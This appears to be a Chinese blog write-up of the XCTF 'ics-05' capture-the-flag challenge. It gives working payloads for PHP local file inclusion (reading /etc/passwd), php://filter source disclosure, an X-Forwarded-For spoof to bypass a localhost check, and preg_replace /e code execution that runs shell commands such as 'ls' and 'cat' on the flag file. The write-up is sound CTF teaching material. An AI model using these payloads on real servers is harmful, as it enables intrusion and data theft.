会飞的鱼

2020
Godam
首页 » 伪协议 » XCTF 4th-CyberEarth ics-05 PHP伪协议

XCTF 4th-CyberEarth ics-05 PHP伪协议

PHP伪协议的几篇文章
PHP伪协议实现命令执行漏洞的七种姿势
配合PHP伪协议实现文件包含漏洞

初试

查看网站源码可以发现一个url
sUpIhV.png
我们访问一下看看,可以看到页面下方有显示:
sU964x.png
我们将参数换为:/etc/passwd
sUCkxU.png

文件读取漏洞

我们从上图可以看出有回显,我们尝试访问index.php,构造payload:/index.php?page=/var/www/html/index.php

PHP伪协议读取

我们这时候就可以想到,用PHP伪协议来访问,构造payload:
php://filter/read=convert.base64-encode/resource=index.php
这样就可以读到index.php的源代码
下面介绍下关于php://filter的知识:
php://filter漏洞
PHP伪协议
我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到内容。

代码审计

我们拿到了base64编码的源代码,发现其中有preg_replace函数,这个函数存在命令执行漏洞,用于执行一个正则表达式的搜索和替换。我们从网络上了解到这个函数存在一个命令执行漏洞,可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。即preg_replace(“/123/e”, “phpinfo()”, “123”);可以执行phpinfo()函数。我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘127.0.0.1’即可命令执行。

X_FORWARDED_FOR绕过

这个绕过就简单了,直接在请求头中加入就可以了。
sUendU.png

命令执行测试

我们通过代码审计可以构造参数如下payload:?pat=/123/e&rep=phpinfo()&sub=123,访问结果如图:
sUV1k4.png
依次通过以下payload:
payload:?pat=/123/e&rep=eval(system("ls"))&sub=123
payload:pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123
payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123
payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123

文章如无特别注明均为原创! 作者: 果果, 转载或复制请以 超链接形式 并注明出处 GODAM|博客|godam
原文地址《 XCTF 4th-CyberEarth ics-05 PHP伪协议》发布于2021-1-13

分享到:
打赏

评论

游客

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

sitemap